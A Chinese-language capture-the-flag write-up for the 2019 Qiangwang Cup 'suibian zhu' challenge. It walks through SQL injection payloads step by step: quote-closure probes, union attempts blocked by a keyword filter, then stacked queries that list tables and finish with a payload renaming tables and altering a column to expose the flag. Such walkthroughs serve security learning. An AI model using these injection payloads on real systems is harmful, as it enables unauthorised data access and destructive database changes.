强网杯 2019-随便注 (堆叠注入)
【摘要】 1'所以是单引号闭合1' or 1#查出了表中的全部数据1' order by 3#所以字段数为21' union select 1,2#return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);发现过滤了很多关键字,所以不可以用union注入了。同样报错注入也是用不了的,因为报错注入的语句和union...
1'
所以是单引号闭合
1' or 1#
查出了表中的全部数据
1' order by 3#
所以字段数为2
1' union select 1,2#
return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);
发现过滤了很多关键字,所以不可以用union注入了。同样报错注入也是用不了的,因为报错注入的语句和union注入的语句相同。
使用堆叠注入
1';show databases;#
1';show tables;#
1';show columns from `1919810931114514`;#
我们查看数字表,反单引号(`)是数据库、表、索引、列和别名用的引用符,如果是纯数字的表就需要加反单引号,如果不是就不需要加或者加上也无所谓。
1';show columns from words;#
看到words表中的字段,我们发现底层的sql语句就是直接查询的words表
select * from words where id=$inject limit 0,1;
但是我们现在的flag在数字表中,并且过滤了很多关键字,我们无法直接查询数字表
我们通过rename或alter,就是把words表改成words1或者其他名字,然后把数字表名改成words,然后在把新的words里面的flag字段名称修改成id
1';rename table words to words2;rename table `1919810931114514` to words;alter table words change flag id varchar(100) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL;desc words;#
1' or 1#
【版权声明】本文为华为云社区用户原创内容,转载时必须标注文章的来源(华为云社区)、文章链接、文章作者等基本信息, 否则作者和本社区有权追究责任。如果您发现本社区中有涉嫌抄袭的内容,欢迎发送邮件进行举报,并提供相关证据,一经查实,本社区将立刻删除涉嫌侵权内容,举报邮箱:
cloudbbs@huaweicloud.com
- 点赞
- 收藏
- 关注作者
评论(0)